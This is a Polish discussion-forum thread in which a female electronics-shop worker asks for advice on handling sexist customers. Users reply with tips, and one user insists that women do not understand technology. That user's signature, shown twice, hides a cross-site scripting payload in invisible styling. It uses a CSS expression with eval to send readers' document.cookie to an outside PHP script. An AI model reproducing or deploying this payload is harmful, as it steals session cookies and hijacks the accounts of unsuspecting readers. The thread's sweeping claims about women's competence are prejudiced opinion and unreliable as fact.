Jak reagować? jak odpowiadac??
Moderatorzy: ksiezycowka, modTeam
Jak reagować? jak odpowiadac??
Pracuje w sklepie od bardzo dawna, sklep nie jest zadnym z ciuchami itp......trzeba tam sie znac troszeczke na nowych technologiach itp itd.....moje pytanko brzmi: jak reagowac kiedy wchodzi klient i z gory jest uprzedzony do kobiety, ktora wg niego nie jest w stanie mu pomoc w wyborze, uwaza ze kobieta nie nadaje sie do takiego zawodu??!! Uwaze ze sprzety elektorniczne to nie jst dziedzina na ktorej moge znac.....
Dodam ze znam sie na swojej pracy, nie jestem moze super, hiper obcykana, ale mam bardzo duze pojecie o sprzecie ktory sprzedaje i potrafie doradzic, mam wiedze i wiem ze jestem dobra w tym co robie....
Jak odpowiadac klientowi kiedy wchodzi do sklepu i z gory jest nastawiony do mnie anty.....nie moge byc dla niego niemila itp bo pewnie zaraz sie posypia skargi! Co mowic kiedy slysze "baby nadaja sie do garow", "glupia baba i jeszcze blondyna, gowno wie" itp.....
Macie jakies rady,pomysly !!
Dodam ze znam sie na swojej pracy, nie jestem moze super, hiper obcykana, ale mam bardzo duze pojecie o sprzecie ktory sprzedaje i potrafie doradzic, mam wiedze i wiem ze jestem dobra w tym co robie....
Jak odpowiadac klientowi kiedy wchodzi do sklepu i z gory jest nastawiony do mnie anty.....nie moge byc dla niego niemila itp bo pewnie zaraz sie posypia skargi! Co mowic kiedy slysze "baby nadaja sie do garow", "glupia baba i jeszcze blondyna, gowno wie" itp.....
Macie jakies rady,pomysly !!
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
- ksiezycowka
- Weteran
- Posty: 12688
- Rejestracja: 13 paź 2004, 13:17
- Skąd: Wawa
- Płeć:
"baby nadaja sie do garow",
Niestety garnków nie ma w naszej ofercie. Czy życzy sobie Pan coś jeszcze?
glupia baba i jeszcze blondyna, gowno wie"
Odwróciłabym się i zapytała o kim mowa.
Z rozbrajającym uśmiechem.
To były moje pierwsze myśli.
Gorsze rzeczy, Kina, się w swojej pracy słyszało. Ważne żeby nie dać się sprowokować. Być nadal miłym i wykazać się PROFESJONALIZMEM.
Powodzenia.
Wiem słowo jak krem
krem na zmarszczki w mojej głowie.
krem na zmarszczki w mojej głowie.
Koko pisze:Gorsze rzeczy, Kina, się w swojej pracy słyszało. Ważne żeby nie dać się sprowokować. Być nadal miłym i wykazać się PROFESJONALIZMEM.
Staram sie jak moge, tylko ze przez te kilka lat jak tam pracuje zaczyna mnie juz krew zalewac i czasami mam po prostu ochote wyjsc zza lady i kopnac kogos po porstu w ryj!!
Po prostu czasmi puszczaja mi nerwy i juz nic na to nie moge poradzic Czasami mam ochote isc gdziesz i znalezc takiego kretyna jednego z drugim, ktory byl w moim sklepie, i nagadac mu takich glupot jak on mi......ehhhhhh
Zastanawia mnie tez dlaczego tylko faceci gadaja takie glupoty, dlaczego zadna kobieta jeszcze nic takiego nie powiedziala??!!
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
kina pisze:Co mowic kiedy slysze "baby nadaja sie do garow", "glupia baba i jeszcze blondyna, gowno wie"
akurat nie wierze ze ktos ci tak powiedzial
wiesz kina dlaczego nikt nie chce rady kobiety? bo sam wie najlepiej. taka prawda i nic to sie ma do uprzedzeń
[url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.49mb.com/users/kisobox/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'
larsson pisze:nie wierze ze ktos ci tak powiedzial
To malo wiesz jeszcze......klienci bywaja jeszcze gorsi i potrafia mowic jeszcze gorsze rzeczy....
larsson pisze:wiesz kina dlaczego nikt nie chce rady kobiety? bo sam wie najlepiej. taka prawda i nic to sie ma do uprzedzeń
myslisz sie, pracuje jeszcze z facetami, dlaczego klient nie chce mojej rady, a idzie do komjego kumpla i prosi o pomoc?? Takie sytuacje sa na porzadku dziennym....
Wyobraz sobie taka sytuacje, idziesz kupic pralke, lodwke, samochód, aparat foto, wędke na ryby co kolwiek, za lada stoi kobieta i mezczyzna......do kogo podejdziesz??!!
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
kina pisze:za lada stoi kobieta i mezczyzna......do kogo podejdziesz??
do faceta naturalnie kina ty jestes wyjatkiem, ale 99,99% kobiet po prostu nie zna sie na technologiach. przeciez jak 100 osob wchodzilo przed toba w ognicko i sie poparzyli, nie wyciagniesz wnioskow i tez bdzisz wchodzić?
[url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.49mb.com/users/kisobox/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'
larsson pisze:do faceta naturalnie
a dlaczego naturalnie??!! Dla mnie to nie jest natuiralne, bo znam sie na tym co sprzedaje tak samo dobrze jak moi koledzy.....
larsson pisze:ale 99,99% kobiet po prostu nie zna sie na technologiach
te z ktorymi ja pracuje, maja czasami pojecie wieksze niz nie jeden zidiocialy facet....
larsson pisze:nie wyciagniesz wnioskow i tez bdzisz wchodzić?
ucze sie na swoich bledach, a nie na tym co mi inni mowia
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
kina pisze:ucze sie na swoich bledach, a nie na tym co mi inni mowia
to mnie rozwaliło Sado masochistka? przez to doznasz wiele bolu Boshe jaka indywidualistka
kina pisze:a dlaczego naturalnie??
dlatego, ze jestem pewien, ze facet mi pomoze. kobieta niekoniecznie. tak jak piszę 99,99% kobiet sie nie zna i nie chce ryzykować. PO PROSTU. Kina, jsli ktos wydaje niemale pieniadze ma prawo nie ryzykować, nie?
larsson pisze:Kina, jsli ktos wydaje niemale pieniadze ma prawo nie ryzykować, nie?
Czyli jak obsluguje Cie kobieta w sklepie to dla Ciebie ryzyko.....a czy kobiety kaza Ci kupic to czego nie chcesz, sila wyciagaja Ci pieniadze z portfela??!! NIE!! To Twoja decyzja czy cos kupisz czy nie....a po za tym jak idziesz do sklepu to masz chyba jako takie pojecie co chcesz kupic.....nie wchodzisz do sklepu i nie mowisz chce kupic pralke, aparat, lodowke itp ale nie wiem wogle co i jak do czego i jakie musi miec funkcje.....masz jako takie pojecie o sprzecie ktory chcesz zakupic....i skad wniosek ze w 99,99% kobiety nie znaja sie na sprzecie??!! Teraz moj drogi minely czasy ze przyjmowali Cie do pracy na piekne oczy, teraz przyjmuja z kwalifikacjami, z wiedza....ja dostalam ta prace bo, tu bede skromna, bylam dobra w tym co robilam :P pokazalam co umiem i pokonolam w tym kilku facetow.....mamy moj drogi rownouprawnienie, teraz kobiety duzo lepiej robia pewne rzeczy niz faceci....
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
Też bym podszedł do faceta. Przyzwyczajenie. Swoją drogą, nie widziałem sklepu z elektroniką, by w charakterze doradców zatrudniano tam kobiety:) W mojej ulubionej sieci akcesoriów komputerowych Pro-Line nie pracuje ANI JEDNA kobieta, to dosyć znaczące.... A zawsze tam walą tłumy....
http://www.facebook.com/LKSPogonLwow
Reaktywowany w 2009 r. Razem przywróćmy świetność tej historycznej drużynie!
http://www.piotrlabuz.pl/
http://michalpasterski.pl/
http://www.mateuszgrzesiak.pl/
Reaktywowany w 2009 r. Razem przywróćmy świetność tej historycznej drużynie!
http://www.piotrlabuz.pl/
http://michalpasterski.pl/
http://www.mateuszgrzesiak.pl/
- FlyingDuck
- Pasjonat
- Posty: 160
- Rejestracja: 11 gru 2005, 14:18
- Skąd: Wrocław
- Płeć:
Wyobraz sobie taka sytuacje, idziesz kupic pralke, lodwke, samochód, aparat foto, wędke na ryby co kolwiek, za lada stoi kobieta i mezczyzna......do kogo podejdziesz??!!
To zależy jak atrakcyjna jest ta kobieta ;P
A tak na poważnie - dla mnie nie ma to większej różnicy. Studiuję informatykę i jakoś nie widzę większych różnic w predyspozycjach kolegów i koleżanek na moim roku. Rozumiem że takie podejście może wkurzać - nasłuchałem się tego i owego... niestety chyba nie ma na to skutecznej rady.
Na pocieszenie dodam że za dwa pokolenia przypuszczalnie będzie lepiej ;P
Jedyna stała w życiu to zmiana
Ja bym nie poszedl ani do faceta ani do kobiety... sam sie znam na tym najlepiej
Podchodzisz do ludzi z zapytaniem W czym moge panu pomoc?
To nie rob tego.
Nie wiem jak inni ale ja nienawidze jak do mnie ktokolwiek censored podchodzi jak sobie gdzies laze i ogladam/mysle/zastanawiam sie i nie wazne czy kupuje censored buty, lodowke, motor czy censored tanie wino.
po prostu to mnie na miejscu trafia mam ochote powiedziec wez mi stad censored idz albo wyjsc ze sklepu. Ale zwykle mowie nie dziekuje, tylko od razu odechciewa mi sie dalej na cokolwiek patrzec:D
Jak chce pomocy sam ide z czyms do personelu, zazwyczaj nie potrafi ktos odpowiedziec na moje pytanie, no coz proste one nie sa:D
I jeszcze wkurza mnie jak gosc(szczegolnie faceci) uwazaja sie za takich co potrafia wszystko sprzedac, nawija mi na 100 sposobow czemu mam kupic to co on najbardziej chce sprzedac, chociaz gowno mnie to obchodzi o czym on do mnie rozmawia. Takiemu typowi zawsze mowie cos w stylu sam sobie kup taki aparat, ja wole zwykly na klisze itp.
No skonczylem
Podchodzisz do ludzi z zapytaniem W czym moge panu pomoc?
To nie rob tego.
Nie wiem jak inni ale ja nienawidze jak do mnie ktokolwiek censored podchodzi jak sobie gdzies laze i ogladam/mysle/zastanawiam sie i nie wazne czy kupuje censored buty, lodowke, motor czy censored tanie wino.
po prostu to mnie na miejscu trafia mam ochote powiedziec wez mi stad censored idz albo wyjsc ze sklepu. Ale zwykle mowie nie dziekuje, tylko od razu odechciewa mi sie dalej na cokolwiek patrzec:D
Jak chce pomocy sam ide z czyms do personelu, zazwyczaj nie potrafi ktos odpowiedziec na moje pytanie, no coz proste one nie sa:D
I jeszcze wkurza mnie jak gosc(szczegolnie faceci) uwazaja sie za takich co potrafia wszystko sprzedac, nawija mi na 100 sposobow czemu mam kupic to co on najbardziej chce sprzedac, chociaz gowno mnie to obchodzi o czym on do mnie rozmawia. Takiemu typowi zawsze mowie cos w stylu sam sobie kup taki aparat, ja wole zwykly na klisze itp.
No skonczylem
"Jest taka cierpienia granica, za ktora sie usmiech pogodny zaczyna...Hyhy "
hyhy e(L)o
hyhy e(L)o
Hyhy pisze:Nie wiem jak inni ale ja nienawidze jak do mnie ktokolwiek podchodzi jak sobie gdzies laze i ogladam/mysle/zastanawiam sie i nie wazne czy kupuje buty, lodowke, motor czy tanie wino.
po prostu to mnie na miejscu trafia mam ochote powiedziec wez mi stad idz albo wyjsc ze sklepu. Ale zwykle mowie nie dziekuje, tylko od razu odechciewa mi sie dalej na cokolwiek patrzec:D
mam dokladnie to samo. Ja lubie sie cicho pozastanawiac ,a Ci nie daja spokoju, bo co podac, co podac(powiem raz,ze dziekuje, to oni za pol minuty to samo pytanie ). Kur,wicy idzie dostac. Tez najczesciej wychodze ze sklepu.
-
- Weteran
- Posty: 1141
- Rejestracja: 06 maja 2005, 15:26
- Skąd: Lenenja
- Płeć:
Hyhy pisze:Nie wiem jak inni ale ja nienawidze jak do mnie ktokolwiek podchodzi jak sobie gdzies laze i ogladam/mysle/zastanawiam sie i nie wazne czy kupuje buty, lodowke, motor czy tanie wino.
Tyle, ze czesto pracodawca tego wymaga. I taki pracownik mimo, ze wie, ze to denerwujace i glupie musi tak robic zeby roboty nie stracic.
off// w razie potrzeby kontaktu pisac na zlotooka_kotka@o2.pl
- ksiezycowka
- Weteran
- Posty: 12688
- Rejestracja: 13 paź 2004, 13:17
- Skąd: Wawa
- Płeć:
kina pisze:do kogo podejdziesz??!!
Do kobiety A ldaczego?Bo przed nia nie wyjde na kretynke nieznajaca sie na owych technologiach. A facet by mi zaczal nawijac jak moj o komputerach i bym tylko stala z glupim wyrazem twarzy. Taka prawda. I Kina skoro pracujesz tam tak długo to nie zdarzylas sie przyzwyczaic?Zawsze bedziesz w tym stereotypowo za facetem i chocbym ich wszystkim tam pozabijala nie zmienisz tego. Co najwyzej jakis apel o kulture osobista mozna tworzyc.
Hyhy pisze:Podchodzisz do ludzi z zapytaniem W czym moge panu pomoc?
To nie rob tego.
Dokładnie!!!
Yasmine pisze:mam dokladnie to samo.
I z 99% ludzi też.
złotooka kotka pisze:I taki pracownik mimo, ze wie, ze to denerwujace i glupie musi tak robic zeby roboty nie stracic.
Ja tam tez teoretycznie musze, ale nie robie tego. Bo wtedy kliet z druga strone pójdzie a tak doardzajac mu cośtam zawsze zbajeruje.
-
- Weteran
- Posty: 874
- Rejestracja: 20 kwie 2012, 20:25
- Skąd: Z miasta
- Płeć:
Koko pisze:Kina, pozwalasz sobie. Sorry. Ale tak mi się wydaje.
Wykaż się, a będzie ok. I tylko nie mów, że nie masz ku temu okazji.
Jeśli taka perspektywa Ci nie odpowiada poproś kolegów o większą współpracę, np. "a resztę opowie Panu koleżanka".
Myśle ze KOKO ma racje. po prostu pozwalasz sobie.... ja w swojej karierze zawodowej mialam bardzo duzo do czynienia z bezpośrednio klientami (pracowałam w restauracji, w firmie z art. budowlano-dekoracyjnymi, w gazecie, w firmie zajmującej sie sprzedażą laserów... a nawet jako doradca fiansnowy itd itp). Na wiekszości sprzedawanych rzeczach nie znalam sie do konca, ale sprawialam wrazenie, ze doskonale sie znam. Najważniejsze jest nie zagadac klienta. Uczyc sie od niego poprzez sluchanie, obserwowac.... i sprawiac wrazenie, ze Twoja praca jest Twoim powołaniem.... a jak sie okaze, ze klient zna sie na czyms lepiej niz ty, to tez mozna wyjsc jakos z sytuacji.... moga tu byc pomocni koledzy z pracy....
Moj pracodawca wymaga podchodzenia do klienta, nie odrazu, jezeli klient dluzej pozostaje w sklepie to no jakby nie bylo trzeba do niego podejsc....
alez wykazuje sie, czesto zdarza sie ze klienci prosza mnie o rade bo ktos im powiedzial ze w tym sklepie jest mily personel...nie twoerdze ze nie ma takich klientow!! Owszem sa i jest ich calkiem sporo, duzo klientow nie ma nic przeciwko temu zebym ja ich obslugiwala, ale jest taki % ludzi, szczegolnie facetow, ktorzy za cholere nie beda chcieli mnie wysluchac nawet jakbym ja miala racje a kumpel obok by klamal....i tacy mnie denerwuja!! Myslalam ze macie jakis sposob na tych pieprzonych natretow, ktorzy tylko przychodza i mysla ze jak mi beda zadawac pytania rodem ze strony internetowej to zrobie glupia mine i zawolam kolege.....wkurza mnie juz to no ale co zrobic :)
Koko pisze:Wykaż się, a będzie ok. I tylko nie mów, że nie masz ku temu okazji.
alez wykazuje sie, czesto zdarza sie ze klienci prosza mnie o rade bo ktos im powiedzial ze w tym sklepie jest mily personel...nie twoerdze ze nie ma takich klientow!! Owszem sa i jest ich calkiem sporo, duzo klientow nie ma nic przeciwko temu zebym ja ich obslugiwala, ale jest taki % ludzi, szczegolnie facetow, ktorzy za cholere nie beda chcieli mnie wysluchac nawet jakbym ja miala racje a kumpel obok by klamal....i tacy mnie denerwuja!! Myslalam ze macie jakis sposob na tych pieprzonych natretow, ktorzy tylko przychodza i mysla ze jak mi beda zadawac pytania rodem ze strony internetowej to zrobie glupia mine i zawolam kolege.....wkurza mnie juz to no ale co zrobic :)
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
Kina pisze:Myslalam ze macie jakis sposob na tych pieprzonych natretow, ktorzy tylko przychodza i mysla ze jak mi beda zadawac pytania rodem ze strony internetowej to zrobie glupia mine i zawolam kolege.....wkurza mnie juz to no ale co zrobic
I do tego zmierzałam.
Kiniu, praca.. to PRACA. Nic więcej. Klient zawsze pozostanie klientem.
Ty nie masz z nim toczyć pojedynku, nie masz wykazywać wiedzy, w takim sensie jak TY to opisujesz. Masz pokazać, że jesteś PROFESJONALISTĄ.
Zawsze udało mi się znaleźć wyjście z niezręcznych sytuacji, bo nie podchodziłam do nich emocjonalnie.
Tobie też radzę Będzie ok
Jeśli zaś (drugie dno) źle się tam czujesz, nie odpowiada Ci atmosfera itd. rozglądaj się za czymś innym.
Wiem słowo jak krem
krem na zmarszczki w mojej głowie.
krem na zmarszczki w mojej głowie.
Koko pisze:to PRACA. Nic więcej.
No praca praca....tylko praca, ale jestem z natury osoba porywcza i szybko sie denerwuje wiec jak taki idiota mi przyjdzie to dzien juz mam z.jebany
Koko pisze:Jeśli zaś (drugie dno) źle się tam czujesz, nie odpowiada Ci atmosfera itd. rozglądaj się za czymś innym.
Wrecz przeciwnie, bardzo lubie moja prace i za nic w swiecie bym jej nie zmienila (no moze lekko przesadzilam), lubie to co robie, mam satysfakcje kiedy opowiadam o tym czym sie interesuje....
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
- Eisenritter
- Uzależniony
- Posty: 443
- Rejestracja: 04 sty 2006, 11:21
- Skąd: Berlin
- Płeć:
Kina, nie masz wyjścia. Weź to na zimno. Wśród klientów znaleźć można ludzi sympatycznych, ale także buraków i kretynów, którzy myślą, że są darem Bożym dla tej planety, a na pytania odpowiadają "Czego?"
Olej to. Zahartuj się. Niektórzy tacy są, nie zmienisz ich, więc ignoruj zaczepki. A jak który będzie co bardziej bezczelny, to chyba macie ochronę, prawda?
A tak przy okazji, co tój pracodawca na tego rodzaju wybryki?
Olej to. Zahartuj się. Niektórzy tacy są, nie zmienisz ich, więc ignoruj zaczepki. A jak który będzie co bardziej bezczelny, to chyba macie ochronę, prawda?
A tak przy okazji, co tój pracodawca na tego rodzaju wybryki?
Siła charakteru i hart ducha są czynnikami decydującymi. Na sile charakteru opiera się żołnierska pewność siebie.
Moj pracodawca nigdy nie stal za lada i organizuje tylko szkolenia psychologiczne jak milo obsluzyc klienta!!
Od niego slysze ze musze byc mila itd bo "walczymy o klienta" i nie mozemy sobie pozwolic na niemile potraktowanie klienta....
Od niego slysze ze musze byc mila itd bo "walczymy o klienta" i nie mozemy sobie pozwolic na niemile potraktowanie klienta....
Wszystko przemija,tak chce przeznaczenie
I tylko jedno zostaje
*** WSPOMNIENIE ***
I tylko jedno zostaje
*** WSPOMNIENIE ***
Kina, nie przejmuj się. W okolicach rodzinnych mojego taty jest sklep z częściami samochodowymi, w którym sprzedaje kobieta. I nigdy to mojemu tacie, ani Jego bratu nie przeszkadzało. Bo kobieta naprawdę zna się na rzeczy... Płeć nie warunkuje znania się na czymś.
A gdyby ktoś był szczególnie niemiły, możesz powiedzieć: "O czymś to świadczy, skoro zatrudniono mnie tu, mimo że jestem kobietą. Poza tym mamy kryzys męskości w Polsce i rozumiem, że faceci nie potrafią się z nim pogodzić, a tym bardziej walczyć z nim".
A gdyby ktoś był szczególnie niemiły, możesz powiedzieć: "O czymś to świadczy, skoro zatrudniono mnie tu, mimo że jestem kobietą. Poza tym mamy kryzys męskości w Polsce i rozumiem, że faceci nie potrafią się z nim pogodzić, a tym bardziej walczyć z nim".
"Miarkuj złość.
Po gniewu cienkim lodzie nie kręć się
Bo on za chwilę może trzasnąć"
Po gniewu cienkim lodzie nie kręć się
Bo on za chwilę może trzasnąć"
- Eisenritter
- Uzależniony
- Posty: 443
- Rejestracja: 04 sty 2006, 11:21
- Skąd: Berlin
- Płeć:
No, Oli. Niektórzy troglodyci po takiej odzywce oniemieją. Inni zaczną się rzucać i przyjdzie ochrona. Inni jeszcze mogą Kin napsuć krwi u szefa. Z komentarzami trzeba uważać. A co do twego szefa, Kina, to jak słowo daję, mógłby ruszyć consored i popatrzeć, jak to wygląda. Korona z głowy by mu nie spadła.
Siła charakteru i hart ducha są czynnikami decydującymi. Na sile charakteru opiera się żołnierska pewność siebie.
Eisenritter pisze: A co do twego szefa, Kina, to jak słowo daję, mógłby ruszyć i popatrzeć, jak to wygląda. Korona z głowy by mu nie spadła.
Nigdy bym z podobnym problemem nie poszła do szefa.
Albo się umie odpowiedzieć klientowi, tak że będzie chciał z Tobą cały sklep zwiedzić, albo się do tego poniekąd nie nadaje.
I po czasie wymięka.
Wiem słowo jak krem
krem na zmarszczki w mojej głowie.
krem na zmarszczki w mojej głowie.
Wróć do „Wszystkie inne tematy”
Kto jest online
Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 323 gości